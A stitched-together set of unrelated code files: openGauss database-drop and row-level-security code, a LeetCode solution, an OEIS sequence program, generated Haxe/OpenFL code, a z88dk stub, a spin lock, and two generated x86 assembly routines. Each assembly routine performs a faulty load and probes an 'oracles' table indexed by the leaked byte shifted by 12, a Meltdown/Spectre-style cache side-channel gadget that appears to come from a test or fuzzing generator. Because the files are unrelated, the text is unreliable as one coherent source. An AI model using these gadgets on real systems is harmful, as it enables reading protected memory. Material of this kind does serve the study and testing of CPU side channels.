concurrently. This * avoids backends re-connecting automatically to same database, * which can happen in some cases. */ LockSharedObjectForSession(DatabaseRelationId, dbId, 0, AccessExclusiveLock); ResolveRecoveryConflictWithDatabase(dbId); } /* Drop pages for this database that are in the shared buffer cache */ DropDatabaseBuffers(dbId); /* Also, clean out any fsync requests that might be pending in md.c */ ForgetDatabaseSyncRequests(dbId); /* Clean out the xlog relcache too */ XLogDropDatabase(dbId); /* And remove the physical files */ if (!rmtree(dst_path, true)) { ereport(WARNING, (errmsg("some useless files may be left behind in old database directory \"%s\"", dst_path))); } if (InHotStandby) { /* * Release locks prior to commit. XXX There is a race condition * here that may allow backends to reconnect, but the window for * this is small because the gap between here and commit is mostly * fairly small and it is unlikely that people will be dropping * databases that we are trying to connect to anyway. */ UnlockSharedObjectForSession(DatabaseRelationId, dbId, 0, AccessExclusiveLock); } } void xlogRemoveRemainSegsByDropDB(Oid dbId, Oid tablespaceId) { Assert(dbId != InvalidOid || tablespaceId != InvalidOid); AutoMutexLock remainSegsLock(&g_instance.xlog_cxt.remain_segs_lock); remainSegsLock.lock(); if (t_thrd.xlog_cxt.remain_segs == NULL) { t_thrd.xlog_cxt.remain_segs = redo_create_remain_segs_htbl(); } HASH_SEQ_STATUS status; hash_seq_init(&status, t_thrd.xlog_cxt.remain_segs); ExtentTag *extentTag = NULL; while ((extentTag = (ExtentTag *)hash_seq_search(&status)) != NULL) { if ((dbId != InvalidOid && extentTag->remainExtentHashTag.rnode.dbNode != dbId) || (tablespaceId != InvalidOid && extentTag->remainExtentHashTag.rnode.spcNode != tablespaceId)) { continue; } if (hash_search(t_thrd.xlog_cxt.remain_segs, (void *)&extentTag->remainExtentHashTag, HASH_REMOVE, NULL) == NULL) { ereport(ERROR, (errcode(ERRCODE_DATA_CORRUPTED), errmsg("hash table corrupted."))); } } remainSegsLock.unLock(); } void dbase_redo(XLogReaderState* record) { uint8 info = XLogRecGetInfo(record) & ~XLR_INFO_MASK; Assert(!XLogRecHasAnyBlockRefs(record)); if (info == XLOG_DBASE_CREATE) { xl_dbase_create_rec* xlrec = (xl_dbase_create_rec*)XLogRecGetData(record); xlog_db_create(xlrec->db_id, xlrec->tablespace_id, xlrec->src_db_id, xlrec->src_tablespace_id); } else if (info == XLOG_DBASE_DROP) { xl_dbase_drop_rec* xlrec = (xl_dbase_drop_rec*)XLogRecGetData(record); xlog_db_drop(xlrec->db_id, xlrec->tablespace_id); xlogRemoveRemainSegsByDropDB(xlrec->db_id, xlrec->tablespace_id); } else ereport(PANIC, (errcode(ERRCODE_UNRECOGNIZED_NODE_TYPE), errmsg("dbase_redo: unknown op code %hhu", info))); t_thrd.xlog_cxt.needImmediateCkp = true; } /* * Get remote nodes prepared xacts, if remote nodes have prepared xacts, * we cannot drop database. Otherwise, drop database finally failed in * remote nodes and gs_clean cannot connect to database in CN to clean * the in-doubt transactions. * The memory palloc in PortalHeapMemory context, it will release after * operation finished, it also can be released in abort transaction if operation * failed. */ int64 GetRemoteNodePreparedNumDB(const char* dbname) { int64 size = 0; StringInfoData buf; ParallelFunctionState* state = NULL; initStringInfo(&buf); appendStringInfo(&buf, "SELECT count(*) from pg_catalog.pg_prepared_xacts where database = '%s'", dbname); state = RemoteFunctionResultHandler(buf.data, NULL, StrategyFuncSum, true, EXEC_ON_ALL_NODES, true); size = state->result; FreeParallelFunctionState(state); return size; } /* * the function is just called in 3 cases currently: * 1. drop db, 2. rename db, 3. change tablespace of db * There are step 1 and 2 in pgxc, it cann't check gsql session to remote CNs; * There are step 1 and 4 in gaussdb before, it's appropriate just for 2 CNs, * Think about the case below: * cn1: cn2: cn3: * create database db1 * create table t1 \c db1 * create table t2 \c db1 * create table t3 * There are 2 connections between every 2 CNs, so it is not enough for more * than 2 CNs to run step 1 and 4 to clean connections in pooler on all CNs. */ void PreCleanAndCheckConns(const char* dbname, bool missing_ok) { char query[256]; int rc; Oid db_id; int notherbackends, npreparedxacts; int64 nremotepreparedxacts; /* 0. check if db exists? */ db_id = get_database_oid(dbname, missing_ok); if (InvalidOid == db_id) return; // just for drop database if exists dbname /* 1. clean connections on local pooler */ DropDBCleanConnection((char*)dbname); /* 2. clean connections on pooler of remote CNs */ rc = sprintf_s(query, sizeof(query), "CLEAN CONNECTION TO ALL FOR DATABASE %s;", quote_identifier(dbname)); securec_check_ss(rc, "\0", "\0"); ExecUtilityStmtOnNodes(query, NULL, false, true, EXEC_ON_COORDS, false); /* 3. check for other backends in the local CN */ if (CountOtherDBBackends(db_id, &notherbackends, &npreparedxacts)) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("Database \"%s\" is being accessed by other users. You can stop all connections by command:" " \"clean connection to all force for database XXXX;\" or wait for the sessions to end by querying " "view: \"pg_stat_activity\".", dbname), errdetail_busy_db(notherbackends, npreparedxacts))); /* 4. check for other backends in remote CNs */ rc = sprintf_s(query, sizeof(query), "CLEAN CONNECTION TO ALL CHECK FOR DATABASE %s;", quote_identifier(dbname)); securec_check_ss(rc, "\0", "\0"); ExecUtilityStmtOnNodes(query, NULL, false, true, EXEC_ON_COORDS, false); /* 5. get and check remote node prepared xacts num */ nremotepreparedxacts = GetRemoteNodePreparedNumDB(dbname); if (nremotepreparedxacts != 0) { ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("Database \"%s\" is being accessed by other users. You can " "call gs_clean to clean prepared transactions", dbname), errdetail_busy_db(0, nremotepreparedxacts))); } } /* * AlterDatabasePrivateObject * Alter database private object attribute * * @param (in) fbform: include all the information for database. * @param (in) dbid: database id * @param (in) enablePrivateObject: enable database private object or disable database private object * @return: void */ static void AlterDatabasePrivateObject(const Form_pg_database fbform, Oid dbid, bool enablePrivateObject) { Assert(fbform != NULL); /* Check whether need to change db private object on current node */ if (SupportRlsOnCurrentNode() == false) { return; } /* Check license whether support this feature */ LicenseSupportRls(); if (dbid != u_sess->proc_cxt.MyDatabaseId) { ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("Not support alter cross-database private pbject, please switch to \"%s\" and run this command", NameStr(fbform->datname)))); } Relation rel = NULL; Oid rlsPolicyId = InvalidOid; /* Create row level security policy on system catalog */ if (enablePrivateObject) { /* * step 1: create row level security for pg_class if not exists * CREATE ROW LEVEL SECURITY POLICY pg_class_rls ON pg_class AS PERMISSIVE FOR SELECT TO PUBLIC * USING (has_table_privilege(current_user, oid, 'select')) */ rlsPolicyId = get_rlspolicy_oid(RelationRelationId, "pg_class_rls", true); if (false == OidIsValid(rlsPolicyId)) { CreateRlsPolicyForSystem("pg_catalog", "pg_class", "pg_class_rls", "has_table_privilege", "oid", "select"); rel = relation_open(RelationRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_ENABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* * step 2: create row level security for pg_attribute if not exists * CREATE ROW LEVEL SECURITY POLICY pg_attribute_rls ON pg_attribute AS PERMISSIVE FOR SELECT TO PUBLIC * USING (has_table_privilege(current_user, attrelid, 'select')) */ rlsPolicyId = get_rlspolicy_oid(AttributeRelationId, "pg_attribute_rls", true); if (false == OidIsValid(rlsPolicyId)) { CreateRlsPolicyForSystem( "pg_catalog", "pg_attribute", "pg_attribute_rls", "has_table_privilege", "attrelid", "select"); rel = relation_open(AttributeRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_ENABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* * step 3: create row level security for pg_proc if not exists * CREATE ROW LEVEL SECURITY POLICY pg_proc_rls ON pg_proc AS PERMISSIVE FOR SELECT TO PUBLIC * USING (has_function_privilege(current_user, oid, 'select')) */ rlsPolicyId = get_rlspolicy_oid(ProcedureRelationId, "pg_proc_rls", true); if (false == OidIsValid(rlsPolicyId)) { CreateRlsPolicyForSystem( "pg_catalog", "pg_proc", "pg_proc_rls", "has_function_privilege", "oid", "execute"); rel = relation_open(ProcedureRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_ENABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* * step 4: create row level security for pg_namespace if not exists * CREATE ROW LEVEL SECURITY POLICY pg_namespace_rls ON pg_namespace AS PERMISSIVE FOR SELECT TO PUBLIC * USING (has_schema_privilege(current_user, nspname, 'select')) */ rlsPolicyId = get_rlspolicy_oid(NamespaceRelationId, "pg_namespace_rls", true); if (false == OidIsValid(rlsPolicyId)) { CreateRlsPolicyForSystem( "pg_catalog", "pg_namespace", "pg_namespace_rls", "has_schema_privilege", "oid", "USAGE"); rel = relation_open(NamespaceRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_ENABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* * step 5: create row level security for pgxc_slice if not exists * CREATE ROW LEVEL SECURITY POLICY pgxc_slice_rls ON pgxc_slice AS PERMISSIVE FOR SELECT TO PUBLIC * USING (has_schema_privilege(current_user, nspname, 'select')) */ if (t_thrd.proc->workingVersionNum >= RANGE_LIST_DISTRIBUTION_VERSION_NUM) { rlsPolicyId = get_rlspolicy_oid(PgxcSliceRelationId, "pgxc_slice_rls", true); if (OidIsValid(rlsPolicyId) == false) { CreateRlsPolicyForSystem( "pg_catalog", "pgxc_slice", "pgxc_slice_rls", "has_table_privilege", "relid", "select"); rel = relation_open(PgxcSliceRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_ENABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } } /* * step 6: create row level security for pg_partition if not exists * CREATE ROW LEVEL SECURITY POLICY pg_partition_rls ON pg_partition AS PERMISSIVE FOR SELECT TO PUBLIC * USING (has_schema_privilege(current_user, nspname, 'select')) */ rlsPolicyId = get_rlspolicy_oid(PartitionRelationId, "pg_partition_rls", true); if (OidIsValid(rlsPolicyId) == false) { CreateRlsPolicyForSystem( "pg_catalog", "pg_partition", "pg_partition_rls", "has_table_privilege", "parentid", "select"); rel = relation_open(PartitionRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_ENABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } } else { /* Remove row level security policy for system catalog */ /* step 1: remove row level security policy from pg_class */ rlsPolicyId = get_rlspolicy_oid(RelationRelationId, "pg_class_rls", true); if (OidIsValid(rlsPolicyId)) { RemoveRlsPolicyById(rlsPolicyId); rel = relation_open(RelationRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_DISABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* step 2: remove row level security policy from pg_attribute */ rlsPolicyId = get_rlspolicy_oid(AttributeRelationId, "pg_attribute_rls", true); if (OidIsValid(rlsPolicyId)) { RemoveRlsPolicyById(rlsPolicyId); rel = relation_open(AttributeRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_DISABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* step 3: remove row level security policy from pg_proc */ rlsPolicyId = get_rlspolicy_oid(ProcedureRelationId, "pg_proc_rls", true); if (OidIsValid(rlsPolicyId)) { RemoveRlsPolicyById(rlsPolicyId); rel = relation_open(ProcedureRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_DISABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* step 4: remove row level security policy from pg_namespace */ rlsPolicyId = get_rlspolicy_oid(NamespaceRelationId, "pg_namespace_rls", true); if (OidIsValid(rlsPolicyId)) { RemoveRlsPolicyById(rlsPolicyId); rel = relation_open(NamespaceRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_DISABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } /* step 5: remove row level security policy from pgxc_slice */ if (t_thrd.proc->workingVersionNum >= RANGE_LIST_DISTRIBUTION_VERSION_NUM) { rlsPolicyId = get_rlspolicy_oid(PgxcSliceRelationId, "pgxc_slice_rls", true); if (OidIsValid(rlsPolicyId)) { RemoveRlsPolicyById(rlsPolicyId); rel = relation_open(PgxcSliceRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_DISABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } } /* step 6: remove row level security policy from pg_partition */ rlsPolicyId = get_rlspolicy_oid(PartitionRelationId, "pg_partition_rls", true); if (OidIsValid(rlsPolicyId)) { RemoveRlsPolicyById(rlsPolicyId); rel = relation_open(PartitionRelationId, ShareUpdateExclusiveLock); ATExecEnableDisableRls(rel, RELATION_RLS_DISABLE, ShareUpdateExclusiveLock); relation_close(rel, ShareUpdateExclusiveLock); } } }
#include "header.hpp" class Solution { private: vector<int> tmp; vector<vector<int>> res; public: void helper(int n, int k, int k_now, int start) { if (n == 0 && k_now == 0) { res.push_back(tmp); return; } if (n < 0 || k_now < 0) return; for (int i = start; i <= 9; ++i) { tmp.push_back(i); helper(n - i, k, k_now - 1, i + 1); tmp.pop_back(); } } vector<vector<int>> combinationSum3(int k, int n) { helper(n, k, k, 1); return res; } };
; A264443: a(n) = n*(n + 5)*(n + 10)/6. ; 0,11,28,52,84,125,176,238,312,399,500,616,748,897,1064,1250,1456,1683,1932,2204,2500,2821,3168,3542,3944,4375,4836,5328,5852,6409,7000,7626,8288,8987,9724,10500,11316,12173,13072,14014,15000 mov $1,$0 add $0,8 bin $0,2 sub $0,3 mul $1,$0 div $1,3
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %rbp push %rdi push %rdx lea addresses_WC_ht+0x7033, %r10 nop nop nop add $33189, %r11 mov (%r10), %r13w nop nop nop add $38308, %rdx lea addresses_WC_ht+0x16913, %rdi nop sub %rbp, %rbp movb $0x61, (%rdi) nop nop nop add $9631, %r11 lea addresses_normal_ht+0x6033, %rdx clflush (%rdx) nop nop nop nop dec %rdi movups (%rdx), %xmm3 vpextrq $1, %xmm3, %r10 nop nop nop nop nop cmp %r13, %r13 pop %rdx pop %rdi pop %rbp pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %rbp push %rcx push %rdi push %rdx // Faulty Load mov $0x7c03500000000833, %rcx nop cmp $12616, %r10 mov (%rcx), %edx lea oracles, %rbp and $0xff, %rdx shlq $12, %rdx mov (%rbp,%rdx,1), %rdx pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#include <hxcpp.h> #ifndef INCLUDED_openfl_text_AntiAliasType #include <openfl/text/AntiAliasType.h> #endif namespace openfl{ namespace text{ ::openfl::text::AntiAliasType AntiAliasType_obj::ADVANCED; ::openfl::text::AntiAliasType AntiAliasType_obj::NORMAL; HX_DEFINE_CREATE_ENUM(AntiAliasType_obj) int AntiAliasType_obj::__FindIndex(::String inName) { if (inName==HX_CSTRING("ADVANCED")) return 0; if (inName==HX_CSTRING("NORMAL")) return 1; return super::__FindIndex(inName); } int AntiAliasType_obj::__FindArgCount(::String inName) { if (inName==HX_CSTRING("ADVANCED")) return 0; if (inName==HX_CSTRING("NORMAL")) return 0; return super::__FindArgCount(inName); } Dynamic AntiAliasType_obj::__Field(const ::String &inName,bool inCallProp) { if (inName==HX_CSTRING("ADVANCED")) return ADVANCED; if (inName==HX_CSTRING("NORMAL")) return NORMAL; return super::__Field(inName,inCallProp); } static ::String sStaticFields[] = { HX_CSTRING("ADVANCED"), HX_CSTRING("NORMAL"), ::String(null()) }; static void sMarkStatics(HX_MARK_PARAMS) { HX_MARK_MEMBER_NAME(AntiAliasType_obj::ADVANCED,"ADVANCED"); HX_MARK_MEMBER_NAME(AntiAliasType_obj::NORMAL,"NORMAL"); }; #ifdef HXCPP_VISIT_ALLOCS static void sVisitStatic(HX_VISIT_PARAMS) { HX_VISIT_MEMBER_NAME(AntiAliasType_obj::__mClass,"__mClass"); HX_VISIT_MEMBER_NAME(AntiAliasType_obj::ADVANCED,"ADVANCED"); HX_VISIT_MEMBER_NAME(AntiAliasType_obj::NORMAL,"NORMAL"); }; #endif static ::String sMemberFields[] = { ::String(null()) }; Class AntiAliasType_obj::__mClass; Dynamic __Create_AntiAliasType_obj() { return new AntiAliasType_obj; } void AntiAliasType_obj::__register() { hx::Static(__mClass) = hx::RegisterClass(HX_CSTRING("openfl.text.AntiAliasType"), hx::TCanCast< AntiAliasType_obj >,sStaticFields,sMemberFields, &__Create_AntiAliasType_obj, &__Create, &super::__SGetClass(), &CreateAntiAliasType_obj, sMarkStatics #ifdef HXCPP_VISIT_ALLOCS , sVisitStatic #endif #ifdef HXCPP_SCRIPTABLE , 0 #endif ); } void AntiAliasType_obj::__boot() { hx::Static(ADVANCED) = hx::CreateEnum< AntiAliasType_obj >(HX_CSTRING("ADVANCED"),0); hx::Static(NORMAL) = hx::CreateEnum< AntiAliasType_obj >(HX_CSTRING("NORMAL"),1); } } // end namespace openfl } // end namespace text
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR THE BIFROST* ENGINE - RELEASE 1.2/L ; ; See "bifrost_l.h" for further details ; ---------------------------------------------------------------- ; unsigned char BIFROSTL_getAnimGroup(unsigned int tile) SECTION code_clib SECTION code_bifrost_l PUBLIC _BIFROSTL_getAnimGroup EXTERN asm_BIFROSTL_getAnimGroup _BIFROSTL_getAnimGroup: pop af pop hl push hl push af jp asm_BIFROSTL_getAnimGroup
#pragma once #include <atomic> #include <thread> //https://probablydance.com/2019/12/30/measuring-mutexes-spinlocks-and-how-bad-the-linux-scheduler-really-is/ //https://rigtorp.se/spinlock/ namespace moon { class spin_lock { std::atomic<bool> lock_ = { false }; public: bool try_lock() noexcept { // First do a relaxed load to check if lock is free in order to prevent // unnecessary cache misses if someone does while(!try_lock()) return !lock_.load(std::memory_order_relaxed) && !lock_.exchange(true, std::memory_order_acquire); } void lock() noexcept { for (;;) { // Optimistically assume the lock is free on the first try if (!lock_.exchange(true, std::memory_order_acquire)) { return; } // Wait for lock to be released without generating cache misses uint_fast32_t counter = 0; while (lock_.load(std::memory_order_relaxed)) { if (++counter > 1000) std::this_thread::yield(); } } } void unlock() noexcept { lock_.store(false, std::memory_order_release); } }; }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x3fe6, %r10 cmp $30257, %r12 movb (%r10), %r11b nop nop nop nop nop add $30302, %r14 lea addresses_D_ht+0x8022, %rsi lea addresses_A_ht+0xd79c, %rdi nop nop nop nop dec %rax mov $47, %rcx rep movsl nop nop nop nop and $42657, %r10 lea addresses_D_ht+0x82e6, %r14 nop nop nop cmp $19963, %rax mov (%r14), %r11d nop nop nop nop nop cmp %rsi, %rsi lea addresses_normal_ht+0x16a46, %rsi lea addresses_UC_ht+0x22e6, %rdi nop nop nop inc %r11 mov $98, %rcx rep movsw nop nop nop sub %rsi, %rsi lea addresses_UC_ht+0x4ae6, %rsi and $7642, %r12 movb (%rsi), %r11b nop xor $48966, %rax lea addresses_WC_ht+0x103a6, %rcx nop nop nop nop nop inc %r10 mov (%rcx), %r11d and %rdi, %rdi lea addresses_normal_ht+0x1bae6, %rdi nop nop xor $2470, %rsi mov $0x6162636465666768, %r11 movq %r11, %xmm5 vmovups %ymm5, (%rdi) nop nop nop nop nop cmp %r14, %r14 lea addresses_D_ht+0x1ce6, %rsi xor $35826, %r12 mov $0x6162636465666768, %r10 movq %r10, (%rsi) nop nop dec %rcx lea addresses_D_ht+0x62e6, %rsi nop nop nop add %r10, %r10 mov $0x6162636465666768, %r11 movq %r11, %xmm3 and $0xffffffffffffffc0, %rsi movaps %xmm3, (%rsi) nop inc %r14 lea addresses_A_ht+0xd4e6, %rax clflush (%rax) dec %rcx mov (%rax), %r11w nop add %r14, %r14 lea addresses_WT_ht+0x1a5f6, %rsi lea addresses_UC_ht+0x1ee6, %rdi clflush (%rdi) nop nop add %r12, %r12 mov $113, %rcx rep movsw sub %r14, %r14 pop %rsi pop %rdi pop %rcx pop %rax pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rbx push %rcx push %rsi // Store lea addresses_UC+0x1e13, %rbx cmp $42995, %r8 movw $0x5152, (%rbx) nop xor $49133, %rbx // Store mov $0x186d860000000c46, %rbx nop nop nop nop add $33531, %r14 mov $0x5152535455565758, %rcx movq %rcx, %xmm7 vmovups %ymm7, (%rbx) nop nop nop nop xor $58343, %rsi // Load mov $0x5e6, %r13 nop nop xor %r8, %r8 mov (%r13), %r15 nop nop sub %r13, %r13 // Store lea addresses_UC+0x106e6, %r15 nop nop dec %r13 movw $0x5152, (%r15) nop and %rsi, %rsi // Store lea addresses_D+0x19506, %r15 inc %r8 movw $0x5152, (%r15) nop nop nop nop nop and $43281, %rbx // Store mov $0x560fd40000000fe6, %r13 nop nop nop nop nop xor %rbx, %rbx movw $0x5152, (%r13) nop cmp $6561, %r14 // Faulty Load lea addresses_PSE+0x8ae6, %r8 nop nop nop nop nop sub $34016, %r14 mov (%r8), %rbx lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'33': 27} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
